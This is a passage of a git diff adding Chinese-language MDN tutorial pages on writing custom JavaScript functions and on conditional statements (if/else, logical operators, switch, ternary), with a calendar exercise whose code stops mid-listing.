现在你应该能看到当你点击按钮的时候提示框弹出来。</li> +</ol> + +<p>你会想“怎么函数名后面没有括号呢?”. 这是因为我们不想直接调用这个函数 — 而是只有当按钮被点击的时候才调用这个函数。 试试把代码改成这样:</p> + +<pre class="brush: js notranslate">btn.onclick = displayMessage();</pre> + +<p>保存刷新, 你会发现按钮都还没点击提示框就出来了! 在函数名后面的这个括号叫做“函数调用运算符”(function invocation operator)。你只有在想直接调用函数的地方才这么写。 同样要重视的是, 匿名函数里面的代码也不是直接运行的, 只要代码在函数作用域内。</p> + +<p>如果你做了这个函数括号的实验, 在继续之前把代码恢复到之前的状态。</p> + +<h2 id="使用参数列表改进函数">使用参数列表改进函数</h2> + +<p>就现在看来,我们的函数还不是特别有用 — 我们想要的不仅仅是每点击一次展示一个默认的消息。我们来改造下我们的函数,给它添加几个参数, 允许我们以不同的方式调用这个函数。</p> + +<ol> + <li>第一步,修改函数的第一行代码: + <pre class="brush: js notranslate">function displayMessage() {</pre> + + <p>改成这样的:</p> + + <pre class="brush: js notranslate">function displayMessage(msgText, msgType) {</pre> + 当我们调用函数的时候,我们可以在括号里添加两个变量,来指定显示在消息框里面的消息,和消息的类型。</li> + <li>为了使用第一个参数, 把接下来的一行: + <pre class="brush: js notranslate">msg.textContent = 'This is a message box';</pre> + + <p>改成这样:</p> + + <pre class="brush: js notranslate">msg.textContent = msgText;</pre> + </li> + <li>最后但同样重要的一点, 我们来调用这个函数,并且使用了带参数的形式,修改下面这行: + <pre class="brush: js notranslate">btn.onclick = displayMessage;</pre> + + <p>改成这样:</p> + + <pre class="brush: js notranslate">btn.onclick = function() { + displayMessage('Woo, this is a different message!'); +};</pre> + 如果我们要在点击事件里面绑定这个新函数,我们不能直接使用(<code>btn.onclick = displayMessage('Woo, this is a different message!');</code>)前面已经讲过— 我们要把它放在一个匿名函数里面,不然函数会直接调用,而不是按钮点击之后才会调用,这不是我们想要的结果。</li> + <li>保存刷新, 就像你所期待的那样现在你可以随意的指定消息框里面显示的消息!</li> +</ol> + +<h3 id="一个更加复杂的参数">一个更加复杂的参数</h3> + +<p>刚才我们只使用了我们定义的第一个参数<code>msgText</code>,对于第二个参数<code>msgType</code>,这个就涉及了稍微多一点的东西— 我们要设置一些依赖于这个 <code>msgType</code> 参数的东西, 我们的函数将会显示不同的图标和不同的背景颜色。</p> + +<ol> + <li>第一步, 从Github上下载我们需要的图标 (<a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/warning.png">警告图标</a> 和 <a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/chat.png">聊天图标</a>) 。 把图标保存在一个叫做<code>icons</code> 的文件夹下,和你的HTML文件在同一个目录下。 + + <div class="note"><strong>笔记</strong>: 警告和聊天图标是在这个网站iconfinder.com上找到的, 设计者是 <a href="https://www.iconfinder.com/nazarr">Nazarrudin Ansyari</a>. 感谢他!</div> + </li> + <li>下一步, 找到页面的CSS文件. 我们要修改下以便我们使用图标. 首先, 修改 <code>.msgBox</code> 的宽度: + <pre class="brush: css notranslate">width: 200px;</pre> + 改成: + + <pre class="brush: css notranslate">width: 242px;</pre> + </li> + <li>下一步, 在 <code>.msgBox p { ... }</code> 里面添加几条新规则: + <pre class="brush: css notranslate">padding-left: 82px; +background-position: 25px center; +background-repeat: no-repeat;</pre> + </li> + <li>CSS改完了以后我们就要来修改函数 <code>displayMessage()</code> 让它能够显示图标. 在你的函数结束符之前<code>}</code>添加下面这几行代码: + <pre class="brush: js notranslate">if (msgType === 'warning') { + msg.style.backgroundImage = 'url(icons/warning.png)'; + panel.style.backgroundColor = 'red'; +} else if (msgType === 'chat') { + msg.style.backgroundImage = 'url(icons/chat.png)'; + panel.style.backgroundColor = 'aqua'; +} else { + msg.style.paddingLeft = '20px'; +}</pre> + 来解释下, 如果第二个参数 <code>msgType</code> 的值为 <code>'warning'</code>, 我们的消息框将显示一个警告图标和一个红色的背景. 如果这个参数的值是 <code>'chat'</code>, 将显示聊天图标和水蓝色的背景. 如果 <code>msgType</code> 没有指定任何值 (或者不是<code>'warning'</code>和<code>'chat'</code>), 然后这个 <code>else { ... }</code> 代码块将会被执行, 代码的意思是给消息段落设置了一个简单的左内边距并且没有图标, 也没有背景颜色。这么做是为了当没有提供 <code>msgType</code> 参数的时候给函数一个默认行为, 意思是这是一个可选参数(你没发现?其实我们已经用过了!就在这里<code>btn.onclick = function() { displayMessage('Woo, this is a different message!'); };</code>只是当时我们没有写这个<code>else</code>段,也就是啥操作也没做)!</li> + <li>现在来测试下我们的新函数, 可以直接调用 <code>displayMessage()</code> 像这样: + <pre class="brush: js notranslate">displayMessage('Woo, this is a different message!');</pre> + + <p>或者这样:</p> + + <pre class="brush: js notranslate">displayMessage('Your inbox is almost full — delete some mails', 'warning'); +displayMessage('Brian: Hi there, how are you today?','chat');</pre> + 你能看到我们现在的函数稍微有了点用 (不是非常有用) ,一个小的新功能被我们写出来了(当然,函数可以做很多你想的到的和想不到的事)!</li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: 如果你写这个例子遇到了困难, 在这里查看免费的代码 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-stage-4.html">完整版本的代码</a> (或者<a href="http://mdn.github.io/learning-area/javascript/building-blocks/functions/function-stage-4.html">在线运行的完整代码</a>), 也可以向我们寻求帮助。</p> +</div> + +<h2 id="测试你的技能!"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><strong>测试你的技能!</strong></font></h2> + +<p>你已经来到了本文章的结尾,但是你还能记得最重要的知识吗?你可以在离开这里找到一些更深度的测试来证实你已经记住了这些知识——查看<a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Test_your_skills:_Functions">测试你的技能:函数</a>(英文)。后两章文本包含了这个测试需要的技能,所以你可能先需要阅读再尝试该测试。</p> + +<h2 id="结论">结论</h2> + +<p>恭喜你,终于到了这里(等你好久了)! 这篇文章介绍了如何写一个自定义函数, 要把这个新技能在真实项目中使用上你可能还要花点功夫。 下一篇文章中我们将会介绍函数的另一个相关概念 — 返回值。</p> + +<ul> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}</p> + +<h2 id="在这个模块中"><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="font-size: 37.33327865600586px;"><strong>在这个模块中</strong></span></font></h2> + +<ul> + <li><a href="/zh-CN/docs/learn/JavaScript/Building_blocks/conditionals">在代码中做决定 - 条件语句 在 Wiki 中编辑</a></li> + <li><a href="/zh-CN/docs/learn/JavaScript/Building_blocks/Looping_code">循环吧代码</a></li> + <li><a href="/zh-CN/docs/learn/JavaScript/Building_blocks/Functions">函数-可复用代码块</a></li> + <li><a href="/zh-CN/docs/learn/JavaScript/Building_blocks/Build_your_own_function">创建您自己的函数</a></li> + <li><a href="/zh-CN/docs/learn/JavaScript/Building_blocks/Return_values">函数返回值</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/Building_blocks/Events">事件介绍</a></li> + <li><a href="/zh-CN/docs/learn/JavaScript/Building_blocks/%E7%9B%B8%E7%89%87%E8%B5%B0%E5%BB%8A">照片库</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/building_blocks/conditionals/index.html b/files/zh-cn/learn/javascript/building_blocks/conditionals/index.html new file mode 100644 index 0000000000..c4135c9e29 --- /dev/null +++ b/files/zh-cn/learn/javascript/building_blocks/conditionals/index.html @@ -0,0 +1,609 @@ +--- +title: 在代码中做决定 - 条件语句 +slug: learn/JavaScript/Building_blocks/conditionals +translation_of: Learn/JavaScript/Building_blocks/conditionals +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/JavaScript/Building_blocks/Looping_code", "Learn/JavaScript/Building_blocks")}}</div> + +<p class="summary">在任何的编程语言中,代码需要依靠不同的输入作出决定并且采取行动。例如,在游戏中,如果玩家的生命值变成了0,那么游戏就结束了。在天气应用中,如果在早晨运行,就显示一张日出的图片;如果在晚上,就显示星星和月亮的图片。在这篇文章中,我们将探索在JavaScript中所谓的条件语句是怎样工作的。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>基本的计算机知识,对HTML和CSS有基本的了解,<a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps">JavaScript的第一步</a>。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解怎样在JavaScript中使用条件语句的结构。</td> + </tr> + </tbody> +</table> + +<h2 id="只需一个条件你就可以拥有……!">只需一个条件你就可以拥有……!</h2> + +<p>人类(以及其他的动物)无时无刻不在做决定,这些决定都影响着他们的生活,从小事(“我应该吃一片还是两片饼干”)到重要的大事(“我应该留在我的祖国,在我父亲的农场工作;还是应该去美国学习天体物理学”)。</p> + +<p>条件语句结构允许我们来描述在JavaScript中这样的选择,从不得不作出的选择(例如:“一片还是两片”)到产生的结果或这些选择(也许是“吃一片饼干”可能会“仍然感觉饿”,或者是“吃两片饼干”可能会“感觉饱了,但妈妈会因为我吃掉了所有的饼干而骂我”。)</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13703/cookie-choice-small.png" style="display: block; margin: 0 auto;"></p> + +<h2 id="if_..._else_语句">if ... else 语句</h2> + +<p><code><font face="Open Sans, arial, sans-serif">让我们看看到目前为止你将会在JavaScript中用到的最常见的条件语句类型 — </font><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else">if ... else语句</a>。</code></p> + +<h3 id="基本的的_if…else_语法">基本的的 if…else 语法</h3> + +<p>基本的if…else语法看起来像下面的 {{glossary("伪代码")}}:</p> + +<pre class="notranslate">if (condition) { + code to run if condition is true +} else { + run some other code instead +}</pre> + +<p>在这里我们有:</p> + +<ol> + <li>关键字 if,并且后面跟随括号。</li> + <li>要测试的条件,放到括号里(通常是“这个值大于另一个值吗”或者“这个值存在吗”)。这个条件会利用<a href="https://developer.mozilla.org/en-US/Learn/JavaScript/First_steps/Math#Comparison_operators">比较运算符</a>(我们会在最后的模块中讨论)进行比较,并且返回true或者false。</li> + <li>一组花括号,在里面我们有一些代码——可以是任何我们喜欢的代码,并且只会在条件语句返回true的时候运行。</li> + <li>关键字else。</li> + <li>另一组花括号,在里面我们有一些代码——可以是任何我们喜欢的代码,并且当条件语句返回值不是true的话,它才会运行。</li> +</ol> + +<p>这段代码真的非常易懂——它说“<strong>如果(if)条件(condition)</strong>返回true,运行代码A,<strong>否则(else)</strong>运行代码B”</p> + +<p>注意:你不一定需要else和第二个花括号——下面的代码也是符合语法规则的:</p> + +<pre class="notranslate">if (condition) { + code to run if condition is true +} + +run some other code</pre> + +<p>不过,这里你需要注意——在这种情况下,第二段代码不被条件语句控制,所以它总会运行,不管条件返回的是true还是false。这不一定是一件坏事,但这可能不是你想要的——你经常只想要运行一段代码或者另一段,而不是两个都运行。</p> + +<p>最后,有时候你可能会看到 if…else 语句没有写花括号,像下面的速记风格:</p> + +<pre class="notranslate">if (condition) code to run if condition is true +else run some other code instead</pre> + +<p>这是完全有效的代码,但不建议这样使用——因为如果有花括号进行代码切割的话,整体代码被切割为多行代码,更易读和易用。</p> + +<h3 id="一个真实的例子">一个真实的例子</h3> + +<p>为了更好的理解这种语法,让我们考虑一个真实的例子。想像一个孩子被他的父母要求帮助他们做家务。父母可能会说“嗨,宝贝儿,如果你帮我去购物,我会给你额外的零花钱,这样你就能买得起你想要的玩具了。”在JavaScript中,我们可以这样表示:</p> + +<pre class="brush: js notranslate">var shoppingDone = false; + +if (shoppingDone === true) { + var childsAllowance = 10; +} else { + var childsAllowance = 5; +}</pre> + +<p>这段代码显示的结果是变量 <code>shoppingDone </code>总是返回 <code>false</code>, 意味着对我们的穷孩子来说很失望。如果孩子去购物的话,就需要依靠我们提供机制来使父母把变量 <code>shoppingDone</code> 变成 <code>true</code>。</p> + +<div class="note"> +<p><strong>Note</strong>: 你可以看到在<a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/allowance-updater.html">Github上这个例子的完整版本</a>(也可以<a href="http://mdn.github.io/learning-area/javascript/building-blocks/allowance-updater.html">在线运行</a>)</p> +</div> + +<h3 id="else_if">else if</h3> + +<p>最后一个例子提供给我们两个选择或结果,但是如果我们想要两个以上呢?</p> + +<p>有一种方法来让你的 <code>if…else </code>连接你的额外的选择和结果——使用<code>else if </code>。每一个额外的选择要求放到 <code>if() { ... }</code> 和 <code>else { ... }</code> 里——看看下面更多涉及到的例子,它们属于一个普通的天气预报的应用的一部分。</p> + +<pre class="brush: html notranslate"><label for="weather">Select the weather type today: </label> +<select id="weather"> + <option value="">--Make a choice--</option> + <option value="sunny">Sunny</option> + <option value="rainy">Rainy</option> + <option value="snowing">Snowing</option> + <option value="overcast">Overcast</option> +</select> + +<p></p></pre> + +<pre class="brush: js notranslate">var select = document.querySelector('select'); +var para = document.querySelector('p'); + +select.addEventListener('change', setWeather); + +function setWeather() { + var choice = select.value; + + if (choice === 'sunny') { + para.textContent = 'It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.'; + } else if (choice === 'rainy') { + para.textContent = 'Rain is falling outside; take a rain coat and a brolly, and don\'t stay out for too long.'; + } else if (choice === 'snowing') { + para.textContent = 'The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.'; + } else if (choice === 'overcast') { + para.textContent = 'It isn\'t raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.'; + } else { + para.textContent = ''; + } +} + +</pre> + +<p>{{ EmbedLiveSample('else_if', '100%', 100) }}</p> + +<ol> + <li>这里我们有 HTML {{htmlelement("select")}} 元素让我们选择不同的天气,以及一个简单的段落。</li> + <li>在 JavaScript 中, 我们同时存储了对 {{htmlelement("select")}} 和 {{htmlelement("p")}} 的引用, 并对 <code><select></code> 添加了一个事件监听器,因此,当它的值改变时,<code>setWeather()</code>函数被执行。</li> + <li>当函数运行时,我们首先新建了一个 <code>choice</code> 变量去存储当前被选的 <code><select></code> 中的值。接着我们用条件判断语句根据 <code>choice</code> 的值选择性的展示段落中的文本。注意 <code>else if() {...}</code>段中的条件是怎么被判断的,除了第一个,它是在 <code>if() {...}中被判断的。</code></li> + <li>最后一个 <code>else {...}</code> 中的选择通常被叫做 “最后招数” — 在所有的条件都不为 true 时其中的代码会被执行。在这个例子中,如果用户没有选择任何一个选项,它会将段落中的文本清空,例如当用户决定重新选择最开始出现的"--Make a choice--"选项时,就会有这样的效果。</li> +</ol> + +<div class="note"> +<p><strong>Note</strong>: 你可以 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-else-if.html">在 GitHub 上找到这个例子</a> (也可以<a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-else-if.html">在线运行</a>。)</p> +</div> + +<h3 id="关于比较运算符">关于比较运算符</h3> + +<p>比较运算符是用来判断条件语句中的条件的。我们先回过头来看看<a href="/en-US/Learn/JavaScript/First_steps/Math#Comparison_operators">Basic math in JavaScript — numbers and operators</a> 文章中的比较运算符。我们有如下选择:</p> + +<ul> + <li><code>===</code> 和 <code>!==</code> — 判断一个值是否严格等于,或不等于另一个。</li> + <li><code><</code> 和 <code>></code> — 判断一个值是否小于,或大于另一个。</li> + <li><code><=</code> 和 <code>>=</code> — 判断一个值是否小于或等于,或者大于或等于另一个。</li> +</ul> + +<div class="note"> +<p><strong>Note</strong>: 如果你想复习这些内容,可以回顾之前链接上的材料。</p> +</div> + +<p>我们想特别提到测试布尔值(true / false),和一个通用模式,你会频繁遇到它,任何不是 <code>false</code>, <code>undefined</code>, <code>null</code>, <code>0</code>, <code>NaN</code> 的值,或一个空字符串('')在作为条件语句进行测试时实际返回true,因此您可以简单地使用变量名称来测试它是否为真,甚至是否存在(即它不是未定义的)。例如: </p> + +<pre class="brush: js notranslate">var cheese = 'Cheddar'; + +if (cheese) { + console.log('Yay! Cheese available for making cheese on toast.'); +} else { + console.log('No cheese on toast for you today.'); +}</pre> + +<p>而且,回到我们以前关于孩子为自己的父母做家务的例子,你可以这样写:</p> + +<pre class="brush: js notranslate">var shoppingDone = false; + +if (shoppingDone) { // don't need to explicitly specify '=== true' + var childsAllowance = 10; +} else { + var childsAllowance = 5; +}</pre> + +<h3 id="嵌套if_..._else">嵌套if ... else</h3> + +<p>将另一个if ... else 语句放在另一个中 - 嵌套它是完全可行的。例如,我们可以更新我们的天气预报应用程序,以显示更多的选择,具体取决于温度:</p> + +<pre class="brush: js notranslate">if (choice === 'sunny') { + if (temperature < 86) { + para.textContent = 'It is ' + temperature + ' degrees outside — nice and sunny. Let\'s go out to the beach, or the park, and get an ice cream.'; + } else if (temperature >= 86) { + para.textContent = 'It is ' + temperature + ' degrees outside — REALLY HOT! If you want to go outside, make sure to put some suncream on.'; + } +}</pre> + +<p>即使代码全部一起工作,每个if ... else语句完全独立于另一个。</p> + +<h3 id="逻辑运算符:_和_!">逻辑运算符:&& , || 和 !</h3> + +<p>如果要测试多个条件,而不需要编写嵌套if ... else语句,逻辑运算符可以帮助您。当在条件下使用时,前两个执行以下操作:</p> + +<ul> + <li><code>&&</code> — 逻辑与; 使得并列两个或者更多的表达式成为可能,只有当这些表达式每一个都返回<code>true</code>时,整个表达式才会返回<code>true.</code></li> + <li><code>||</code> — 逻辑或; 当两个或者更多表达式当中的任何一个返回 <code>true</code> 则整个表达式将会返回 <code>true</code>.</li> + <li>! — 逻辑非; 对一个布尔值取反, 非true返回false,非false返回true.</li> +</ul> + +<p>举一个逻辑 && 的例子, 刚才的那段代码片段可以写成下面这样:</p> + +<pre class="brush: js notranslate">if (choice === 'sunny' && temperature < 86) { + para.textContent = 'It is ' + temperature + ' degrees outside — nice and sunny. Let\'s go out to the beach, or the park, and get an ice cream.'; +} else if (choice === 'sunny' && temperature >= 86) { + para.textContent = 'It is ' + temperature + ' degrees outside — REALLY HOT! If you want to go outside, make sure to put some suncream on.'; +}</pre> + +<p>所以,只有当<code>choice === 'sunny'</code>并且<code>temperature < 86</code>都返回<code>true</code>时,第一个代码块才能运行。</p> + +<p>让我们快速看一个 <strong>|| </strong>的例子:</p> + +<pre class="brush: js notranslate">if (iceCreamVanOutside || houseStatus === 'on fire') { + console.log('You should leave the house quickly.'); +} else { + console.log('Probably should just stay in then.'); +}</pre> + +<p>最后一种类型的逻辑运算符, <strong>逻辑非<strong><code>!</code></strong> </strong>运算符表示, 可以用于对一个表达式取否. 让我们把 <strong> 非运算符 </strong>结合上一个例子里的<strong> 或表达式 </strong>看看:</p> + +<pre class="brush: js notranslate">if (!(iceCreamVanOutside || houseStatus === 'on fire')) { + console.log('Probably should just stay in then.'); +} else { + console.log('You should leave the house quickly.'); +}</pre> + +<p>在这一段代码中,如果<strong>逻辑或</strong>所在的语句返回 <code>true</code>,则<strong>非运算符</strong>会将其取否,于是整个表达式的返回值将会是<code>false</code>。</p> + +<p>您可以在任何结构中随意合并很多个逻辑表达式。接下来的例子将会只在<strong>或运算符</strong>两边的语句同时返回true时才会执行代码,这也就意味着整个<strong>与运算符</strong>语句将会返回true:</p> + +<pre class="brush: js notranslate">if ((x === 5 || y > 3 || z <= 10) && (loggedIn || userName === 'Steve')) { + // run the code +}</pre> + +<p>在条件语句中运用<strong>或逻辑运算符</strong>最常见的错误是尝试声明变量后,仅检查该变量一次的情况下赋予很多个都会返回true的值,不同的值之间用 <code>||</code> (或)运算符分隔。比如:</p> + +<pre class="example-bad brush: js notranslate">if (x === 5 || 7 || 10 || 20) { + // run my code +}</pre> + +<p>在这个例子里 <code>if(...)</code> 里的条件总为真,因为 7 (或者其它非零的数) 的值总是为真. 这个条件实际意思是 "如果x等于5, 或者7为真 — 它总是成立的". 这不是我们想要的逻辑,为了 让它正常工作你必须指定每个或<strong>表达式</strong>两边都是完整的检查:</p> + +<pre class="brush: js notranslate">if (x === 5 || x === 7 || x === 10 ||x === 20) { + // run my code +}</pre> + +<h2 id="switch语句">switch语句</h2> + +<p><code>if...else</code> 语句能够很好地实现条件代码,但是它们不是没有缺点。 它们主要适用于您只有几个选择的情况,每个都需要相当数量的代码来运行,和/或 的条件很复杂的情况(例如多个逻辑运算符)。 对于只想将变量设置一系列为特定值的选项或根据条件打印特定语句的情况,语法可能会很麻烦,特别是如果您有大量选择。</p> + +<p><a href="/en-US/docs/Web/JavaScript/Reference/Statements/switch"><code>switch</code> </a>语句在这里是您的朋友 - 他们以单个表达式/值作为输入,然后查看多个选项,直到找到与该值相匹配的选项,执行与之相关的代码。 这里有一些伪代码,可以给你一点灵感:</p> + +<pre class="notranslate">switch (expression) { + case choice1: + run this code + break; + + case choice2: + run this code instead + break; + + // include as many cases as you like + + default: + actually, just run this code +}</pre> + +<p>这里我们得到:</p> + +<ol> + <li>关键字 <code>switch</code>, 后跟一组括号.</li> + <li>括号内的表达式或值.</li> + <li>关键字 <code>case</code>, 后跟一个选项的表达式/值,后面跟一个冒号.</li> + <li>如果选择与表达式匹配,则运行一些代码.</li> + <li>一个 <code>break</code> 语句, 分号结尾. 如果先前的选择与表达式/值匹配,则浏览器在此停止执行代码块,并执行switch语句之后的代码.</li> + <li>你可以添加任意的 case 选项(选项3-5).</li> + <li>关键字 <code>default</code>, 后面跟随和 <code>case</code> 完全相同的代码模式 (选项 3–5), except that <code>default</code> 之后不需要再有选项, 并且您不需要 <code>break</code> 语句, 因为之后没有任何运行代码. 如果之前没有选项匹配,则运行<code>default</code>选项.</li> +</ol> + +<div class="note"> +<p><strong>Note</strong>: <code>default</code> 部分不是必须的 - 如果表达式不可能存在未知值,则可以安全地省略它。 如果有机会,您需要包括它来处理未知的情况。</p> +</div> + +<h3 id="switch语句示例">switch语句示例</h3> + +<p>我们来看一个真实的例子 - 我们将重写天气预报应用程序,以改用switch语句:</p> + +<pre class="brush: html notranslate"><label for="weather">Select the weather type today: </label> +<select id="weather"> + <option value="">--Make a choice--</option> + <option value="sunny">Sunny</option> + <option value="rainy">Rainy</option> + <option value="snowing">Snowing</option> + <option value="overcast">Overcast</option> +</select> + +<p></p></pre> + +<pre class="brush: js notranslate">var select = document.querySelector('select'); +var para = document.querySelector('p'); + +select.addEventListener('change', setWeather); + + +function setWeather() { + var choice = select.value; + + switch (choice) { + case 'sunny': + para.textContent = 'It is nice and sunny outside today. Wear shorts! Go to the beach, or the park, and get an ice cream.'; + break; + case 'rainy': + para.textContent = 'Rain is falling outside; take a rain coat and a brolly, and don\'t stay out for too long.'; + break; + case 'snowing': + para.textContent = 'The snow is coming down — it is freezing! Best to stay in with a cup of hot chocolate, or go build a snowman.'; + break; + case 'overcast': + para.textContent = 'It isn\'t raining, but the sky is grey and gloomy; it could turn any minute, so take a rain coat just in case.'; + break; + default: + para.textContent = ''; + } +}</pre> + +<p>{{ EmbedLiveSample('A_switch_example', '100%', 100) }}</p> + +<div class="note"> +<p><strong>Note</strong>: 你可以 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-switch.html">在 GitHub 上找到这个例子</a> (也可以<a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-switch.html">在线运行</a>。)</p> +</div> + +<h2 id="三元运算符">三元运算符</h2> + +<p><font><font>在我们举一些例子之前,我们要介绍一下最后一句语法。</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator"><font><font>三元或条件运算符</font></font></a><font><font>是一个语法的小点,用于测试一个条件,并返回一个值/表达,如果它是</font></font><code>true</code><font><font>,另一个是</font></font><code>false</code><font><font>-这种情况下是有用的,并且可以占用比</font></font><code>if...else</code><font><font>块较少的代码块。如果你只有两个通过</font></font><code>true</code><font><font>/ </font></font><code>false</code><font><font>条件</font><font>选择</font><font>。</font><font>伪代码看起来像这样:</font></font></p> + +<pre class="notranslate">( condition ) ? run this code : run this code instead</pre> + +<p>所以我们来看一个简单的例子:</p> + +<pre class="brush: js notranslate">var greeting = ( isBirthday ) ? 'Happy birthday Mrs. Smith — we hope you have a great day!' : 'Good morning Mrs. Smith.';</pre> + +<p><font><font>在这里我们有一个变量叫做</font></font><code>isBirthday</code><font><font>- 如果它是</font></font><code>true</code><font><font>,我们给客人一个生日快乐的消息; </font><font>如果不是,我们给她标准的每日问候。</font></font></p> + +<h3 id="三元运算符示例">三元运算符示例</h3> + +<p>你不需要用三元运算符设置变量值; 你也可以运行任何你喜欢的函数或代码行。以下实例显示了一个简单的主题选择器,其中该站点的样式应用了三元运算符。</p> + +<pre class="brush: html notranslate"><label for="theme">Select theme: </label> +<select id="theme"> + <option value="white">White</option> + <option value="black">Black</option> +</select> + +<h1>This is my website</h1></pre> + +<pre class="brush: js notranslate">var select = document.querySelector('select'); +var html = document.querySelector('html'); +document.body.style.padding = '10px'; + +function update(bgColor, textColor) { + html.style.backgroundColor = bgColor; + html.style.color = textColor; +} + +select.onchange = function() { + ( select.value === 'black' ) ? update('black','white') : update('white','black'); +} +</pre> + +<p>{{ EmbedLiveSample('Ternary_operator_example', '100%', 300) }}</p> + +<p><font><font>在这里,我们有一个</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/select" title="HTML <select>元素表示一个控件,提供一个选项菜单:"><code><select></code></a><font><font>选择主题(黑色或白色)</font><font>的</font><font>元素,加上一个简单</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/h1" title="标题元素实现六个级别的文档标题,<h1>是最重要的,<h6>是最少的。 标题元素简要介绍了它介绍的部分的主题。 标题信息可以由用户代理使用,例如,自动构建文档的目录。"><code><h1></code></a><font><font>的显示网站标题。</font><font>我们也有一个函数叫做</font></font><code>update()</code><font><font>,它将两种颜色作为参数(输入)。</font><font>网站的背景颜色设置为第一个提供的颜色,其文本颜色设置为第二个提供的颜色。</font></font></p> + +<p><font><font>最后,我们还有一个</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/GlobalEventHandlers/onchange"><font><font>onchange</font></font></a><font><font>事件监听器,用于运行一个包含三元运算符的函数。</font><font>它以测试条件开始</font></font><code>select.value === 'black'</code><font><font>。</font><font>如果这返回</font></font><code>true</code><font><font>,我们运行</font></font><code>update()</code><font><font>带有黑色和白色参数</font><font>的</font><font>函数,这意味着我们最终得到黑色的背景颜色和白色的文字颜色。</font><font>如果返回</font></font><code>false</code><font><font>,我们运行</font></font><code>update()</code><font><font>带有白色和黑色参数</font><font>的</font><font>函数,这意味着站点颜色被反转。</font></font></p> + +<div class="note"> +<p><strong>Note</strong>: 你可以 <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-ternary.html">在 GitHub 上找到这个例子</a> (也可以<a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-ternary.html">在线运行</a>。)</p> +</div> + +<h2 id="主动学习:一个简单的日历">主动学习:一个简单的日历</h2> + +<p><font><font>在这个例子中,您将帮助我们完成一个简单的日历应用程序。</font><font>在你的代码中:</font></font></p> + +<ul> + <li><font><font>一个</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/select" title="HTML <select>元素表示一个控件,提供一个选项菜单:"><code><select></code></a><font><font>元素,允许用户在不同月份之间进行选择。</font></font></li> + <li><code>onchange</code><font><font>检测</font></font><code><select></code><font><font>菜单中</font><font>选择的值何时</font><font>更改</font><font>的</font><font>事件处理程序</font><font>。</font></font></li> + <li><font><font>一个函数叫做</font></font><code>createCalendar()</code><font><font>绘制日历并在</font></font><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/h1" title="标题元素实现六个级别的文档标题,<h1>是最重要的,<h6>是最少的。 标题元素简要介绍了它介绍的部分的主题。 标题信息可以由用户代理使用,例如,自动构建文档的目录。"><code><h1></code></a><font><font>元素中</font><font>显示正确的月份</font><font>。</font></font></li> +</ul> + +<p><font><font>我们需要你在</font></font><code>onchange</code><font><font>处理函数中</font><font>写一个条件语句</font><font>,就在</font></font><code>// ADD CONDITIONAL HERE</code><font><font>任务的</font><font>下面 </font><font>。</font><font>这应该:</font></font></p> + +<ol> + <li><font><font>查看所选月份(存储在</font></font><code>choice</code><font><font>变量中,这将是</font></font><code><select></code><font><font>值更改后的元素值,例如“1月”)。</font></font></li> + <li><font><font>设置一个被调用</font></font><code>days</code><font><font>为等于所选月份天数的</font><font>变量</font><font>。</font><font>为此,您必须查看一年中每个月的天数。</font><font>为了这个例子的目的,你可以忽略闰年。</font></font></li> +</ol> + +<p>提示:</p> + +<ul> + <li><font><font>建议您使用逻辑或将多个月组合成一个单一条件; </font><font>他们中的许多人共享相同的天数。</font></font></li> + <li><font><font>考虑最常用的天数,并将其用作默认值。</font></font></li> +</ul> + +<p><font>如果您犯了错误,您可以随时使用“Reset”按钮重置该示例。</font><font>如果真的卡住了,请按“Show solution”查看解决方案。</font></p> + +<div class="hidden"> +<h6 id="Playable_code">Playable code</h6> + +<pre class="brush: html notranslate"><div class="output" style="height: 500px;overflow: auto;"> + <label for="month">Select month: </label> + <select id="month"> + <option value="January">January</option> + <option value="February">February</option> + <option value="March">March</option> + <option value="April">April</option> + <option value="May">May</option> + <option value="June">June</option> + <option value="July">July</option> + <option value="August">August</option> + <option value="September">September</option> + <option value="October">October</option> + <option value="November">November</option> + <option value="December">December</option> + </select> + + <h1></h1> + + <ul></ul> +</div> + +<hr> + +<textarea id="code" class="playable-code" style="height: 500px;"> +var select = document.querySelector('select'); +var list = document.querySelector('ul'); +var h1 = document.querySelector('h1'); + +select.onchange = function() { + var choice = select.value; + + // ADD CONDITIONAL HERE + + createCalendar(days, choice); +} + +function createCalendar(days, choice) { + list.innerHTML = ''; + h1.textContent = choice; + for (var i = 1; i <= days; i++) { + var listItem = document.createElement('li'); + listItem.textContent = i; + 